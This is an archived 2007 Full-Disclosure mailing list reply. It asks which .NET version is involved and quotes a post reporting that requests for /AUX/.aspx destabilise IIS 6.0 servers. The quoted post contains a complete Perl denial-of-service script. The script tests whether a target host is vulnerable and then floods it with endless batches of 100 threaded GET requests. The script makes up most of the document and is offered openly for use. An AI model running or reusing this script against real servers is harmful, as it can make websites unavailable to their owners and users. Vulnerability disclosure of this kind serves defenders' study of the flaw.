full-disclosure - Re: Question Regarding IIS 6.0 / Is this a DoS???

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <122827b90705220806h658902f3sc4d887e57e49895d@mail.gmail.com>
Date: Tue, 22 May 2007 11:06:59 -0400
From: "Stan Bubrouski" <stan.bubrouski@...il.com>
To: kingcope <kingcope@....net>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Question Regarding IIS 6.0 / Is this a DoS???

What version of the .NET framework is running on the server? 1.1.x,
2.0.x, or 3.0.x?

-sb

On 5/22/07, kingcope <kingcope@....net> wrote:
> Hello List,
>
> Recently I saw a small bug in IIS 6.0 when requesting a special path.
> When I request /AUX/.aspx the server takes a bit longer to respond as
> Normally. So I did write an automated script to see what happens if
> I request this file several times at once. The result is that some servers
> On the internet get quite instable, some do not. On some servers after I
> Stop the attack I get an exception that the Server is too busy/Unhandled
> Exception on the wwwroot (/) path.
> Can you/the list confirm that?
>
> Here is a lame testing script for this stuff:
>
>
>
>
>
> #When sending multiple parallel GET requests to a IIS 6.0 server requesting
> #/AUX/.aspx the server gets instable and non responsive. This happens only
> #to servers which respond a runtime error (System.Web.HttpException)
> #and take two or more seconds to respond to the /AUX/.aspx GET request.
> #
> #
> #signed,
> #Kingcope kingcope@....net
> ##########################################################################
> ###***********************************************************************
> ###
> ###
> ###
> ### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
> ### by Kingcope, May/2007
> ### Better run this from a Linux system
> ##########################################################################
>
> use IO::Socket;
> use threads;
>
> if ($ARGV[0] eq "") { exit; }
> my $host = $ARGV[0];
>
> $|=1;
>
> sub sendit {
> $sock = IO::Socket::INET->new(PeerAddr => $host,
>                               PeerPort => 'http(80)',
>                               Proto    => 'tcp');
>
> print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
> $host\r\nConnection:close\r\n\r\n";
> }
>
> $sock = IO::Socket::INET->new(PeerAddr => $host,
>                               PeerPort => 'http(80)',
>                               Proto    => 'tcp');
>
> print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
> $host\r\nConnection:close\r\n\r\n";
>
> $k=0;
> while (<$sock>) {
>         if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
>                         $k=1;
>                         last;
>         }
> }
>
> if ($k==0) {
>         print "Server does not seem vulnerable to this attack.\n";
>         exit;
> }
>
> print "ATTACK!\n";
>
> while(1){
>
> for (my $i=0;$i<=100;$i++) {
>         $thr = threads->new(\&sendit);
>         print "\r\r\r$i/100                        ";
> }
>
> foreach $thr (threads->list) {
>         $thr->join;
> }
> }
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/